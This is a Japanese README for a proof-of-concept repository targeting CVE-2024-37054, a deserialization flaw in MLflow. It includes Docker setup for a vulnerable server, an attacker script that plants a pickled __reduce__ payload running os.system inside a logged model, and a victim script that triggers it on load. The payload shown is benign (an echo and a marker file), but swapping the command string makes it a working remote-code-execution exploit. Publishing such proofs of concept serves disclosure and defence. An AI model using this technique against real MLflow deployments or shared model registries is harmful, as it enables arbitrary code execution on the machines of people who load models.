
NiteeshPujari/CVE-2024-37054、このリポジトリには、MLflowにおけるリモートコード実行(RCE)を可能にする深刻なデシリアライゼーション脆弱性のProof of Concept (PoC)が含まれています。
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
このリポジトリは、CVE-2024-37054 の概念実証 (PoC) を含んでいます。これは、MLflow の深刻なデシリアライゼーション脆弱性であり、リモートコード実行 (RCE) を可能にします。
CVE-2024-37054mlflow.pyfunc.load_model 関数にデシリアライゼーション脆弱性が存在します。攻撃者は、pickle 化されたペイロードを含む悪意のあるモデルを作成できます。被害者がこのモデルを読み込むと、cloudpickle.load を介してペイロードがデシリアライズされ、被害者のマシンで任意のコードが実行されます。0.9.0 から 2.14.2 未満。mlflow/pyfunc/model.py 内の _load_pyfunc。この PoC は、悪意のあるモデルをアップロードする攻撃者と、それを読み込んで RCE を引き起こす被害者の 2 つの役割をシミュレートします。
脆弱な MLflow サーバーをセットアップする最も簡単な方法は、提供された Dockerfile を使用することです。
Docker コンテナのビルドと実行:
# 1. Docker イメージをビルド
docker build -t mlflow-vulnerable .
# 2. コンテナを実行し、ポート 5000 をホストにマッピング
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
脆弱な MLflow サーバーが http://127.0.0.1:5000 で実行されています。
ホストマシン上で 2 つの別々のターミナルが必要です。クライアントスクリプトを実行するには、ローカルに脆弱なバージョンの mlflow をインストールしておいてください (pip install mlflow==2.14.1)。
最初のターミナルで、攻撃者のスクリプトを実行して悪意のあるモデルをログに記録します。
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
実行:
python poc/log_malicious_model.py
2 番目のターミナルで、被害者のスクリプトを実行して、侵害されたモデルの読み込みをシミュレートします。
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
実行:
python poc/load_vulnerable_model.py
被害者のスクリプトを実行すると、ターミナルに /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found というメッセージが表示され、ディレクトリに pwned.txt という新しいファイルが作成されます。これにより、コマンドの実行が成功したことが確認できます。
この概念実証は Pujari Niteesh によって開発されました。